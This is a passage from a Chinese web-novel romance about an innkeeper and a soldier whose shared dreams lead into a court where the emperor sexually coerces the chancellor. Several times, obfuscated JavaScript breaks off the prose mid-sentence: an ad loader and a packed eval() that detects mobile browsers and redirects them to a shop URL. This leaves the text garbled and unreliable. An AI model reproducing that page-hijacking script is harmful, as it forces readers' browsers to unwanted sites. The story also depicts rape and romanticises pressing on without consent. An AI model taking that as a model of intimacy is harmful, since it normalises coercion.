楚晏抬头,看见秦冲的眼睛,那种明明知道希望渺茫却又期待着,还有绝不放手的坚定。 那双眼睛里藏着一片洪流,气势汹汹,奔涌而来。 那一刻,他心中高高筑起的城墙忽然裂开了一丝缝隙。 于是,洪流有了可乘之机。 这片洪流,终将冲破城墙,将他淹没。 31.第八章 把萧玦交给沂水知府之后,南陵王那边得了消息,说要亲自清理门户,后来听说萧玦被关了紧闭。而秦冲在楚晏的照顾下恢复得很好,一周就能下地了。 等到大夫说秦冲可以回家了的时候,他期待着看向楚晏:“我还能回客栈吗?” 经过这段时间相处,两个人的关系缓和了很多,楚晏点头:“可以。” “那你能不能告诉我,之前为什么把我赶出去?” 楚晏看着他,犹豫了片刻,忍住羞耻说了出来。 秦冲听完,震惊不已,“这么说,我们俩的梦境是相通的?!” 楚晏点头,白皙的脸上微微泛红,跟涂了胭脂似的。 秦冲想了想,觉得哪里不对劲,“不对啊!我之前还梦到过你两次,你咋一点反应也没有?” 楚晏错愕:“你之前还梦到我了?”随即一想到又是那些不堪的事,又是羞耻又是愤怒。 秦冲见他脸色不好,委屈地认错:“我错了,做啥梦又不是我能做主的……” 楚晏气急败坏:“日有所思夜有所梦,你没想怎么会做?” 秦冲见他急了,赶忙伏低做小说好话:“我……我错了,我不该想,你别生气……” 楚晏气了一会儿,慢慢平复下来,“我们为什么会梦境相通?” 秦冲摸了摸后脑勺:“你都想不明白,我就更想不明白了。” 楚晏静默了片刻,“你这几次梦到我,白天都发生了什么?” 秦冲仔细回想着。 “第一次,那个时候刚来客栈看见你,觉得你长得好看,晚上就梦见你了。 第二次,我邀请你跑步,我白天有事要出去,你说回头再说,结果晚上我回来的时候你睡了,这个晚上也梦见你了。 第三次,我听一帮人说要对你不轨,晚上我就梦见你了。然后你刚才说也梦见我了,第二天就要赶我走。 第四次,我在你的门口守了你一天,睡得正香的时候被你踹到地上了。这个时候你应该也跟我做了一样的梦。 只有这四次,后来就再也没梦见你了。” 楚晏细细思量着,又问他:“我照顾你的这段时间没有梦见我?” 秦冲摇头:“没有。” 楚晏蹙眉想了一会儿,又看着他问:“这段时间你的心情如何?” 望着他的眼睛美丽又清澈,秦冲摸着脑袋嘿嘿笑起来:“这段时间每天都能看见你,很开心,很满足,这伤受得值!” 楚晏不自然地别开视线,“也就是说,你的心情有波动的时候才会梦见我。” 接着,他又蹙紧眉:“那么……梦境相通的契机又是什么?” 楚晏陷入了长久的沉默,秦冲等得不耐烦了:“想不出来就别想了,收拾收拾回家吧!” 楚晏点头同意。 两人回到客栈的时候,已经是傍晚了。 为了庆祝秦冲身体大好,客栈里的人还有衙门的几个衙役简单地为秦冲举行了一个接风仪式。 几个衙役带来了秦冲最爱喝的烧刀子,平素住在客栈里,只有度数低的果酒,偶一看到他最爱喝的烧刀子,秦冲一高兴喝了两坛,楚晏蹙着眉,忍不住开口:“你少喝点吧。” 秦冲此刻已经醉得很厉害了,“老子今天开心,谁也别拦着!喝!来!掌柜的你也喝!”说着,拿起酒杯递到楚晏嘴边。 楚晏蹙眉推开,“我不喝这么烈的酒。” 喝醉的秦冲已经失去了理智,把自己当成一个王国里的国王,一听到有人忤逆他,也不管是谁,当即一拍桌子,“靠!老子喂你酒你敢不喝?给你脸了是不是?”说着,拿起酒杯要硬往楚晏嘴里灌。 楚晏气得拍桌而起:“秦冲!” 秦冲醉眼朦胧的,依稀看出一个优美的轮廓,“你还长得挺好看的……”说着,手就要伸过去挑楚晏的下巴。 楚晏气得直接转身就走。 秦冲还不知所以,“哎!美人儿,你怎么走了?”懵懵懂懂地追了上去。 好好的一顿饭闹成这样,剩下的众人面面相觑。 秦冲跟着楚晏走到院子里,被冷风一吹,酒醒了一些,想起来刚才自己做了什么之后,一拍脑袋,追着上前:“楚掌柜!楚掌柜!我刚才喝多了说话没过脑子你别生我气啊!” 楚晏已经走到门口,背对他:“夜深了,我要睡了,你回去睡吧。” 秦冲不肯走,低三下四地恳求:“你别生我气……” 楚晏向来吃软不吃硬,秦冲这种态度,他满腔的怒火也撒不出来了,深吸一口气,平复了一下,“今天的事就这么算了,以后要是喝酒,就离我远远的。” 秦冲一喜:“以后我再也不在你面前喝酒了!喝一次你打我一次怎么样?” 楚晏一顿,道:“我管不着你,你自己管好你自己就好。” 知道楚晏不生气了,秦冲笑哈哈的:“不不不,你得管我,你一管我,我就浑身舒服!” 这话听起来有些过于暧昧了,好像他们不是相交月余的朋友,而是相处很久的夫妻。 夫妻……这两个词令楚晏浑身一震,回想起他们这段时间的相处,他越想越觉得不对。 也许,不能再纵容他,给他希望了。 楚晏默了片刻,道:“秦冲,我希望你以后不要再对我说这种话了。既然要做朋友,就认真做朋友,如果还存有其他的想法,那么这个朋友,我们还是不要做了。” 正是得意之际,突然一盆凉水当头浇下,秦冲黯然点头:“好。” 觉出秦冲的低落,楚晏有些愧疚,又想到他情绪波动太大晚上做梦又会梦见自己,楚晏转过身,有些笨拙地安慰他,“你……不要太伤心,做朋友……也挺好的……” 秦冲笑了笑:“挺好的。” 明明内心都难过得要死了,表面上却还是要强颜欢笑。 楚晏看出来,却又不知道说些什么好,但如果秦冲一直是这种情绪…… 秦冲知道他在担心什么,“你别担心,我会控制我的情绪,不给你添麻烦。” 楚晏半信半疑:“真的?” 秦冲点头:“真的!做朋友,不就跟之前我养伤那阵儿一样吗!我心里有数!你放心!” 也许是那笑容太暖,楚晏信了,又或许,他想相信,“那我回去睡了,你也早点睡。” 秦冲点头:“睡吧睡吧!” 楚晏微微点头,转身开门进了房间。 秦冲望着面前那扇紧闭的房门,又抬头看了看天,一轮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弯月寂寞地挂在天上,万物都在安睡。 那句话怎么说来着?鱼与熊掌不能兼得。 寂静的院子里,传来男人一声长长的叹息。 屋子里,楚晏翻来覆去辗转难眠,秦冲不会真的梦见他吧? 如果只是单纯地梦见他也就算了,他不想再经历那些羞耻的事了…… 眼前的一切慢慢变得模糊,再次清晰时,他正跪在庄严肃穆的大殿上。 上方响起了一个年轻的声音,“楚晏,殿试第一名。” 他想起来这是嘉和十五年,他十九岁参加殿试的那一天,可他总觉得哪里不对劲,却还是叩首行礼:“谢皇上。” “平身。” 抬起头时,他怔住了。 坐在龙椅上的男人很年轻,男人有着一双英挺的剑眉,最引人注目的是他的眼睛,那是一双有欲y望的眼睛,野心勃勃,邪魅摄人。 他是太子萧寒,也是后来的嘉凌帝。 但是楚晏记得,他殿试的时候,皇帝应该是萧寒的父亲嘉和帝萧渊。 可为什么现在坐在这里的是嘉凌帝萧寒? 猝然对上皇帝的眼睛,楚晏心里一惊,那是野兽看见猎物的眼神。 嘉凌十年春,草莽出身的秦冲首战大捷,痛击北蛮三十万大军,班师回朝,皇帝萧寒亲赐其为一品飞龙将军,并为其设置接风宴。 秦冲在军营里待了五年,第一次来到京城,皇帝为他举行接风宴,在宴上,皇帝为他介绍文武百官。 “秦爱卿,这是王瑾,王太师。” 秦冲满心都是想着快点开席好与兄弟们把酒言欢,敷衍地看了看,一个年过半百还精神抖擞的白胡子老头,端起酒杯:“太师,小将敬您一杯!” 王太师也客套地举起酒杯:“秦将军年少有为,老夫不敢当,不敢当!” 皇帝望向接下来的那个人,声音忽然变得温柔宠溺。 “这是楚晏,楚相国。” 那人皮肤雪白莹润,仿佛一块上好的美玉,最美的是那双美丽而忧郁的眼睛,犹如一片蔚蓝而静谧的湖泊,给整个人蒙上了一层神秘的面纱,叫人忍不住去接近,去探寻。 楚相国? 丞相楚晏,他在军营里就听说过,此人十九中状元,二十二岁便成了丞相,出钱在国内开设数十所供寒门弟子读书的书院,临泽大旱,丞相亲去,开府库,施粥救济,岭南洪水泛滥,丞相亲去,指挥救灾,督建堤坝……上任十年中,救百姓十万余人,数十万寒门学子有书可读,大越境内人人称道,所到之处百里相迎。 他敬佩这样的人,可惜之前一直在军营里没有机会拜谒,如今终于有机会了。 秦冲激动地望过去,只见白衣卿相端坐于席间,仿佛浊然尘世里一朵洁白的莲花。 那人恰好也望过来,那双美丽又忧郁的眼睛忽然变得灵动起来,闪着细碎的微光,刹那间美极了,是欢喜,是激动,还有一些其他不知名的情绪。 被这样一双美丽的眼睛望着,秦冲觉得自己的心怦怦地跳。 他是不是在什么地方见过他? 望着对面那个熟悉的高大身影,楚晏忽然有一种想要流泪的冲动。 秦冲……你可知道,我已经等了你很久了…… 32.第九章 见两人这样对望着,皇帝有些不愉,开口提醒:“秦爱卿为何不动?” 秦冲回神,端起酒杯,真诚地望向对面那位白衣卿相:“楚相贤名满天下,今日一见,果然名不虚传,小将秦冲,请多指教!” “秦将军客气了,秦将军才是英雄,楚晏敬你。”楚晏端起酒杯示意他,随后一饮而尽。 见楚晏夸自己,秦冲很高兴,将杯中酒一饮而尽。 待秦冲将文武百官认识了一遍后,皇帝宣布开席上菜。 真正开席时,秦冲却没了开始时与兄弟们把酒言欢的心情,反而不时望向对面的楚晏。 他想要靠近他,认识他,那种感觉就像一片羽毛轻轻刮着心底,心痒得很。 可席间一直有人来敬酒,他一直抽不开空,待他抽出身来再次往对面看的时候,发现楚晏已经不在席上了。 皇宫一处偏远的宫殿内。 年轻的帝王将人狠狠掼在地上,“刚才朕在宴上给你使了多少次眼色,为什么不出来?非叫朕让侍卫去请你你才肯出来是吧?” 那人支着墙壁站起来,美丽的眼睛里满是恨意与不屈:“皇上就只会强迫人吗?” 皇帝忽地笑了:“对,朕就是会强迫你,朕只有强迫你,你才肯乖乖躺在朕身下。”说着,他走过去捏住那人的下巴,未料那人把头狠狠一偏,他一个不察,叫人挣脱开来。 皇帝眼神变得阴鸷:“怎么?想跟朕玩欲拒还迎这一套?别忘了,你都叫朕上过多少次了,还跟朕装什么贞洁烈妇?” 那双美丽的眼睛带着恨意狠狠射向他。 他越恨,皇帝越享受,“哦,朕知道了,你是看上秦冲了是吧?” 那人身子微不可察地一颤,皇帝知道自己说中了,“怎么?看到一个将军看到了希望是吧?你想让他带你走是吧?” 那人没有说话,美丽的双眼闪着细碎的微光,那是期待的光芒,皇帝的眼神忽地阴沉:“别忘了你是什么身份,你是大越的丞相,若是他知道大越的丞相夜夜躺在朕的龙床上,秦将军会是什么反应?” 那美丽双眼里的光芒忽地碎灭了,最终一片死寂,绝望笼罩了他。 皇帝仍在不无狠毒地说着:“唾弃?轻视?没想到名满大越的贤相是这么一个下贱浪荡的人啊!” 那人的身子不断地颤抖着:“住口!” 皇帝怡然自得地将人揽到怀中,享受着胜利的果实:“你只能是朕的。” 秦冲打听了一下,有人说看到楚晏往院子里去了,他去院子里转了一圈,没看到人,正准备回去宴上,却听到旁边一处宫殿里传来细碎的声音。 那是一个男子床笫之间压抑的低吟,很低,细细碎碎的,却也勾人,听得人恨不能帮他解除这种痛苦,亲身上阵。 这声音有一点熟悉,却又想不起来在哪里听过。 待到他抬步欲走之时,却见从那处宫殿门被人推开,皇帝走了出来,秦冲下意识地躲到一个视线看不到的角落。 皇帝理了理衣襟,似乎心情很好。 他的接风宴,皇帝竟中途出来宠幸宫人,秦冲有些不愉。 可转念一想,皇帝宠幸的竟不是宫妃,而是一个男人,他更好奇,皇帝宠幸的那个男人是谁。 于是,他决定在外面等一会,等待那个人出来。 楚晏失神地躺在床上,十年,实在太长了,长得已经不知道这到底是不是一场梦了。 他知道自己会和秦冲梦境相通之后,迷迷糊糊梦见殿试那一天,皇帝换成了萧寒,他以为这是一场梦。 但是,已经十年了,长到让他怀疑,从前种种皆是一场美梦,这里才是真实的。 他依旧是名满天下的贤相,可代价是被萧寒凌辱,夜夜承欢龙床。 他期待着这只是一场梦,并且,他与秦冲梦境相通,这场梦里,他会遇见秦冲。 从被萧寒凌辱的第一天,他就一直期待着秦冲会来,来解救他。 可是已经十年了,他从期待,到失落,再到麻木。 直到今日,他终于见到了秦冲,他才有勇气相信,这是一场梦,一场噩梦,就算不是梦,他也希望秦冲能带他走。 在宴上,他无数次想要靠近秦冲,期待着秦冲能够认出他来带他走,但是皇帝一直在看他,他知道那意味着什么,不管什么场合,只要皇帝想要,他就一定得去。 他不是不想抵抗,可他若是不从,他这些年资助的那些孩子就会有生命危险。 今日他第一次想要抗拒,因为秦冲就坐在对面,但最终他等来的是两个凶神恶煞的侍卫。 他幻想着秦冲能够发现他被侍卫威胁,过来阻止,可是事实并没有。 秦冲早已经被敬酒奉承的人淹没了。 他被侍卫带出来,直到萧寒发泄完,秦冲都没有来。 又或许,自己对于秦冲而言,只是微不足道的一个人,秦冲从来没有来过他的客栈,没有与他梦境相通,只是一个战场上胜利归来的将军,跟他没有任何瓜葛。 他的期待是假的,不会成真,他还要一个人在这牢笼里挨着,被黑暗吞噬,不再有解脱的那一日。 他长长地叹了一口气,麻木地整理好自己的衣服,推开门走了出去。 当秦冲等到不耐烦决定离开的时候,那宫殿的门终于被人推开。 看见走出来那个人的时候,秦冲脑袋轰的一下,愤怒,失望,不甘,交织在一起。 就像刚刚喜欢上一个人,却被告知那个人已经成亲了。 不!不是成亲!而是跟别人厮混在一起! 他失去理智一般冲到楚晏面前,想要质问他,你不是一代名相吗?你为什么这么不知廉耻?跟皇帝厮混在一起? 楚晏看见他,美丽的眼睛盛着惊讶,“你怎么在这里?” “我……”对上那双美丽的眼睛,秦冲忽然什么都说不出来了,“我出来走走。” “今日是秦将军的接风宴,将军扔下一桌客人自己出来不好吧?” 话说出来,楚晏就后悔了,他这样说岂不是在赶他走? “管他什么好不好!老子就想出来,谁管得着!” 秦冲说完,楚晏就笑了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968341|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人还是这样的性格。 秦冲顾不上自己刚才说了什么,只看见楚晏笑了,那样好看的一个人,眼角眉梢都挂着笑意,美丽的眼睛里装着满天的星河,似一江摇曳的春水,拨动着他的心弦。 楚晏笑着笑着,对上秦冲发直的眼睛,脸上不禁有些发热,“你……看着我做什么?” “我……”突然听到楚晏这样问,秦冲愣了一下,“你好看,我就看了……”秦冲也不知道自己在说什么,他本来就嘴笨,面对楚晏,他觉得自己嘴更笨了。 楚晏觉得脸上更热了,同时还有丝欢喜,“没想到秦将军如此耿直。”说笑了一句,转身迈开步子,刚才被折腾了一番,双腿虚软让他踉跄了一下,秦冲眼疾手快地扶住他,“你没事吧?” 对上秦冲关切的眼神,让他想起了刚才被萧寒凌辱的事情,触电一般地放开了秦冲的手,声音变得疏离而冷漠:“多谢秦将军。” 秦冲感觉到楚晏态度的变化,方才楚晏的样子他本能地想到是因为什么,心里就像扎了一根刺一样,他一个冲动,问道:“楚相为何不在宴上?反而从一间宫殿里出来?” 宫殿?楚晏颤了一下,陡然转身,对上秦冲审视的双眼,“我……” 他若是说出来,秦冲会是什么反应? 最终,他道:“这是我的私事,秦将军不要问了,天色不早了,我该回去了。” 说完,他转身欲走。 秦冲忙追上去道:“我送你。” 楚晏心里一暖。 一路上,楚晏都不说话。 秦冲猜出来可能是因为什么,便捡些轻松的话题问他:“楚相平日都喜欢干啥?” “看书、养花。” “那楚相都喜欢吃啥啊?” “梅花饼、玫瑰酥、糖蒸酥酪……” 都是些小点心,秦冲笑了:“楚相很喜欢甜食?” 楚晏点头:“对。” 说着,他神色又变得怅然,“可惜糖蒸酥酪是我在江南吃的,回了长安就再没吃到过了……” “我认识一个会做糖蒸酥酪的人,有时间我把他请来做给你尝尝。” 楚晏眼睛一亮,转头看向秦冲,眼睛里闪着期待的光芒:“真的吗?” 秦冲看得心里一片柔软,“真的!” 两人一路聊着聊着,不知不觉就走到了丞相府。 秦冲心里有些不舍,但是人家都到地方了,他总不能再待着了,便看向楚晏:“那……我走了?” 楚晏终于等到秦冲,恨不能时时跟秦冲在一起,自然是不想秦冲走的,但是他没有理由挽留他,低落地道:“今日多谢秦将军送我回来……” “没事儿!那我走了啊!”秦冲摆摆手,转身离开。 望着秦冲高大的背影,楚晏忽然有一种再不叫住他就永远也没机会了的感觉。 他声嘶力竭地大喊:“秦将军!” 秦冲回头,不明所以:“楚相还有啥事儿?” 楚晏以此生最快的速度跑过去抱住了他,眼眶忽地湿热了:“秦冲,你带我走吧!” 33.第十章 突然被楚晏抱住,秦冲感觉到一种突如其来的惊喜,可他回过神来,有些摸不着头脑:“走?去哪儿?” 没有等到回答,秦冲低头一看,那白玉一般的脸上泪珠簌簌地往下落,“你怎么哭了?” 仿佛终于找到一个宣泄口,楚晏眼里的泪水越聚越多,揪住他的衣服,近乎失控地嚎啕大哭,仿佛要把这些年来的委屈一并发泄出来。 “秦冲,秦冲,你告诉我这是不是一场梦?是不是梦醒了我就能摆脱他了?” 秦冲不明所以:“什么梦啊?他是谁啊?你在说啥啊?” 楚晏固执地看着他:“你不记得了吗?我们第一次见面是在我的客栈,你说我长得好看,晚上还梦见我了?” 秦冲茫然地摇头:“这都啥时候的事啊?你在说啥啊?我们不是今天才在宴上见的吗?” “不是的!”楚晏摇头,固执道:“你仔细想想,在客栈里的时候,你还邀请我每天跑步,后来我被萧玦逼迫,你那时正因为我挨板子还跑来客栈救我,你受伤晕倒了,我送你到医馆照顾你,这些你都忘了吗?” 秦冲听得一怒:“萧玦是谁?他为什么逼迫你?我帮你打他!”说着,撸起袖子就要动作起来。 “等等,你再听我说一句!” 楚晏摇头制止了他,看着他,仿佛溺水的人抓着一块浮木:“你梦见了我四次,后面两次我也梦见你了,我们梦境是相通的,我在这里等了你十年,终于等到了你,你……”他说不下去了,他看见秦冲目光里的茫然,心里一点一点往下掉。 秦冲的反应仿佛在告诉他一个事实,这不是梦,这就是真实,从前那些才是一场梦,一场遥不可及的美梦…… 他揪着秦冲的衣服,哭得撕心裂肺:“秦冲……秦冲……” 秦冲不知道楚晏怎么了,笨拙地安抚着他:“我在呢!我在呢!不哭不哭了啊……” 不知哭了多久,楚晏擦了擦泪水,放开秦冲,一脸歉意地看着他:“对不起,我失态了。” “没事儿!”秦冲满不在乎地摆摆手,关切地询问他:“你刚才怎么了?在说什么?什么客栈?什么你等了我十年?” 望着秦冲关切的眼神,楚晏的心却一点一点凉了下去,这不是一场梦,他们才第一次见,那么他的那些苦便没有资格跟他说,不过是一个萍水相逢的陌生人,他有什么资格要求对方救自己? 他努力弯了弯唇角:“没事,只是想到了一些伤心事说了些胡话,秦将军不要放在心上。” 秦冲却觉得事情没有这么简单,不无真挚地道:“你要是遇到了什么难事,只要是我能做到的,一定帮你解决!” 青年的眼神真诚,笑容明朗,仿佛是射进黑暗的一缕阳光。 心中忽然有一种冲动,想把皇帝逼迫自己那些事都告诉他,让他救自己。 有个声音在疯狂叫嚣着:告诉他!告诉他! 仿佛只要告诉他就能触摸到温暖与光明。 另一个声音又说:就算告诉他又能怎么样呢? 那是皇帝,一个将军,与皇帝抗争是什么下场? 这个认知让他猛地清醒过来。 最终,他压下那份冲动,摇摇头道:“只是一些小事,不劳烦秦将军了,天色不早了,秦将军回去吧。” 秦冲失落了些许,与他辞别:“那楚相保重,我回去了。”说完,转身离开。 看着秦冲离去的背影,楚晏心里一酸,眼泪又要往下落。 秦冲突然转身,气喘吁吁地奔回来,望着他的眼神凝重:“有一个很重要的问题想问你。” 楚晏有些迷茫:“什么问题?” 秦冲望着他,表情认真:“楚相……可有喜欢的人?” 楚晏一怔,神色复杂地望着他,点头:“有。” 完了……秦冲心里咯噔一下,又急切地问:“那我能知道是谁吗?” 是你。 不管是梦还是真的,支撑我度过这十年的信念,是你。 这十年,我每天都在想你,对你的感觉早已刻入骨血。 可我对你来说,只不过是一个萍水相逢的普通人。 楚晏摇了摇头:“对不起,我不能告诉你。” 秦冲眼神渐渐暗淡下去,“我知道了,那……楚相保重。”说完,转身走了。 漆黑的夜里,高大的背影看上去是那么的落寞。 楚晏望着那背影,心中酸涩难以复加,明明有一个机会,他却没有勇气抓住。 日后千万苦果,将由他自己来尝。 秦冲,愿你一生平安顺遂。 第二日早朝。 武官居左,文官居右。 中间不过三尺来地,却仿佛一道遥不可及的鸿沟。 皇帝望着台下的百官,道:“最近有上奏说南部沂水一带有一部分前朝余孽作乱,众卿以为派谁去合适?” 户部尚书站出来道:“皇上,臣以为秦冲秦将军最合适。秦将军年少有为,又刚刚大破北蛮人,当是最佳人选。” 礼部尚书反驳道:“皇上,臣以为不妥。秦将军刚回朝,应当养精蓄锐以待他日大用。皇上,臣以为派南陵王去平叛最为合适,南陵王常年驻扎在南陵熟悉南部地形,又有多年的作战经验,定能顺利平叛!” 户部尚书摇头:“不妥不妥,沂水和南陵虽同在南部,但相隔甚远,南陵王年事已高,路途遥远恐吃不消啊!” 双方各执一词,互不相让。 皇帝开口制止:“肃静!” “朕以为……秦将军去最合适。”说着,他的目光落到一个人身上,“楚相,你觉得如何?” 楚晏抬头,看见皇帝眼底洋洋自得的笑意,忍不住往对面秦冲站的位置看了一眼,秦冲也望了过来,眼中一片赤诚。 仿佛他说要他去,他就会去,他说不去,他就不去一样。 户部尚书说得对,南陵王年事已高,不宜远征。 私心里,他希望秦冲留下来。 但他不能因为私心,置南陵王的身体于不顾,置天下百姓于不顾。 他敛下眼底的光彩,道:“回皇上,臣也认为,秦将军去最为合适。南陵王年事已高,不宜远征,秦将军刚刚大破北蛮人,威名远扬,此时去平叛,定能让大挫叛贼的士气。” 皇帝似乎很满意他的答案,抚掌大笑:“说得好!不愧是我大越的贤相!” 又看向秦冲道:“既然楚相都这么说了,秦将军,朕希望你能尽快动身,去帮朕平息叛乱。” 秦冲掩下心中失落,跪下领命:“臣,遵旨。” 他要走了……他要走了……楚晏不可抑制地心情低落起来。 这种低落的心情一直持续到皇帝宣布散朝,楚晏才浑浑噩噩地往外走,听到身后皇帝阴冷低沉的声音:“楚相留步。” 楚晏身子一颤,他知道这意味着什么,秦冲回头望了他一眼,眼里有着一些复杂难懂的东西。 他不敢再看他,转过身来,对上上位皇帝沉郁的目光。 直到最后一个官员走出大殿,殿门轰隆一声关闭,他的心也死了。 上位的皇帝沉声命令:“过来。” 楚晏站着不动。 皇帝目光一沉:“怎么?有脾气了?不听朕的话了是不是?” 楚晏缓缓闭上眼睛,白皙纤长的脖颈天鹅般扬起:“你杀了我吧!” “嗯?又要求死了?”皇帝饶有兴致地看着他,“怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他说他低贱? 秦冲回去之后,越想越气,越想越不甘,忍不住跑到丞相府,大力地拍门。 小厮禾玉出来开门,看见他,不耐道:“你谁啊?把我们丞相府的门拍坏了你赔啊?” 秦冲更加不耐:“少废话!老子叫秦冲,老子要见楚晏!” 秦冲得胜归来的消息近日来长安城都传遍了,如今秦冲的大名谁不知道,禾玉反应过来,赶紧赔着笑脸:“是秦将军啊!您请进!您请进!” 秦冲哼了一声,走了进去。 禾玉将秦冲带到大堂,笑眯眯地给秦冲上了一杯茶,“秦将军,我们丞相大人在沐浴,待会儿就来见你。”说完就一溜烟跑了,他可不想留在这伺候这位脾气暴躁的大爷。 秦冲喝了一口茶就放下了,心里焦躁得跟热锅上的蚂蚁似的。 等了半天也没人来,他不耐地拍着桌子,“人呢?人呢?你们丞相呢?” “秦将军久等了。” 楚晏匆匆忙忙走了进来,头发还没来得及束,就那么披散着,外袍松松垮垮地披在身上,连腰带也没有系。许是刚沐浴完,白皙的皮肤散发着温润柔和的光,还带着微微蒸腾出来的红晕,空气里飘散着一股沁人心脾的清香。美丽的眼睛水润又明亮,形状美好的嘴唇红里透着粉,好似在诱惑谁,秦冲再也忍不住,冲上去一把将人拉到怀里,对着那红唇就吻了下去。(秦·打脸·将军) 34.第十一章 他吻得很凶很急,不放过口腔里的每一个角落,仿佛要将人拆碎骨头吞进去。 不知过了多久,秦冲才舍得从那柔软的红唇上移开,怀中人那双美丽的眼睛是迷蒙的,红唇泛着水润的光。 秦冲喘着粗气,喉结滚了滚,眼神暗了下去。 楚晏的意识刚刚回笼,眼中带着些迷茫:“你这是……做什么?” 秦冲握着他的肩膀,无比认真地看着他,“我喜欢你,我看见皇上那样对你,我嫉妒得要发疯,要发狂!”浑厚的呼吸喷洒在他耳边,让他感受自己胸中汹涌澎湃的情意。 那双美丽的眼睛陡然亮了起来,如潺潺流水,荡漾着勃勃生机,很快,他又垂下眼眸,失落道:“我记得……你说我低贱……” 秦冲连忙摆手:“不不不!是我嘴贱!我不该那样说你!”说着,抬手就打了自己一巴掌。 “哎!”楚晏不忍,伸手制止他。 秦冲一把握住他的手腕,猎鹰一般锋利的眼睛里写满了真诚,“你在我心里是天底下最好看最善良的人!” 楚晏心中一颤,望着他的眼睛流转着动人的光采。 “我知道你喜欢皇上,我今天没控制住冒犯了你,你要打我要骂我尽管来吧!”说着,他放开了他的手,梗着脖子,一副任人宰割的模样。 楚晏垂下手,长睫垂落:“我不喜欢皇上。” 秦冲心中一震,“那你……” “我……”楚晏猛地转身,声音里带着一丝颤抖,“秦将军请回吧!” 秦冲执拗地追问:“你是被他逼的?” 没有等到回答,他把人转过来,那白玉一般的脸上早已满是泪痕,那双美丽的眼睛朦胧着雾气,泪珠扑簌簌地下落,看得人心疼极了。 秦冲一把将人抱在怀里,声音沉着而坚定:“别哭了,我在这里,从今往后,没人能欺负你。” 秦冲的声音里好似有种安定人心的力量,那些痛苦的仿佛都离他远去,楚晏将脸贴在他的胸膛上,心中充满了宁静和美好,好想就这样一直下去,到天荒地老。 许久都没听见楚晏的动静,秦冲往怀里一看,白玉似的人儿阖着眼眸,唇角微微弯起,浑身散发着幸福与美好的气息。 秦冲内心顿时一片柔软,忍不住低下头,轻轻吻了一下他的额头。 楚晏睁开眼睛,对上那双深邃又充满情意的眼睛,他听见他问:“你是不是喜欢我?” “我……” 楚晏的内心此刻充满了惊慌与无措。 他想告诉他,他喜欢他。 可喜欢这个词有多难说出口。 他的身子这样脏,他怕自己告诉他,他会看不起自己。 也怕自己一旦说了,秦冲会不顾一切地跟皇帝拼命,他不想连累秦冲,也不能连累秦冲。 秦冲能在不认识他的情况下喜欢上他,这已经是他茫茫黑暗的生命中,上天恩赐给他的一束光,他不能把这唯一的光毁掉。 他刚刚下定决心,秦冲已经没有耐心了,急切地吻了下来:“你不反抗,我就当你是喜欢了。” 那吻夹杂着热烈的渴望,连呼吸都是滚烫的,一边吻一边摸向他的腰封,不给他一点喘息的时间。 他好不容易挣扎出一点空隙:“我已经被皇帝……” 秦冲被激得怒了:“那老子也喜欢你!” 抓住他的手放在自己胸口,“楚晏你听到了吗?老子喜欢你!” 掌心的心跳热烈而滚烫,望着他的眼神执迷又真挚。 那名叫情爱的河流奔腾着,翻滚着,叫嚣着,热烈地向他奔涌而来。 楚晏一把勾下他的脖子,不顾一切地回吻上去。 秦冲很温柔,会问他疼不疼,与萧寒的粗暴完全不同。 到了动情处,那个男人热烈地吻着他,抱着他叫心肝儿,宝贝儿。 两人直直折腾到晚上才云雨将歇,楚晏已经挨不住沉沉睡了过去。 秦冲满足地搂着怀里的人,刚准备歇息,这时,秦冲的小厮阿昭来给秦冲送来一封信,秦冲看过之后,表情有些凝重,召来楚晏的小厮禾玉,“我有急事先回去了,你照顾好你们家丞相大人,少一根毫毛拿你试问!” 禾玉缩着脖子诺诺道:“秦将军您放心,我一定照顾好我家丞相大人!” 秦冲哼了一声,而后动作轻柔地给楚晏盖好被子,恋恋不舍地看了床上的熟睡的人一眼,转身走了。 第二天早上楚晏醒来时没有看见秦冲,召来禾玉问话:“秦将军呢?” 禾玉老老实实答:“昨晚上秦将军的小厮送来一封信,秦将军说有急事先走了,还叫我好好照顾你。” “一封信?” 楚晏正思索着,管家王叔在门外喊:“大人,宫里来人了,皇上宣你入宫。” 楚晏心里咯噔一下。 今天不上早朝,萧寒却宣他入宫,是何居心昭然若揭。 纵使心里千般不愿,楚晏仍是来到了皇宫,他觉得昨夜秦冲的离开与皇帝有关,他必须去查个明白。 有太监告诉他:“皇上在御书房等你。” 他来到御书房敲了敲门,听到皇帝说了声“进来”,他推开门走进去,却发现屋子里空无一人。 忽然有人在背后在他的眼睛上覆上了一条帛带,咬住了他的耳朵,耳边响起萧寒亲密而狎昵的声音:“爱卿,你可叫朕好等。” 他下意识地想要挣扎,却听见萧寒又道:“朕还宣了秦将军,待会儿你可别叫出声了……” 他的身体一下子绷紧。 果然,听见外面响起秦冲气急败坏的怒吼:“都给老子让开!老子要见皇上!” 萧寒将怀中美人抱起来坐在椅子上,微微一笑:“秦将军有什么话就在门口说吧,朕听得见。” 秦冲在外面怒嚷:“李副将跟了我多年,皇上为何说杀就杀?” 萧寒慢条斯理地摸索着怀中人的腰封,“李副将犯了谋反罪,朕已经在他家搜出了证据。” “不可能!李副将忠心耿耿,他不可能谋反,一定是有人陷害他!” “秦将军和李副将感情深厚,朕可以理解,但是!” 皇帝一个用力,怀中人陡然惊喘出声。 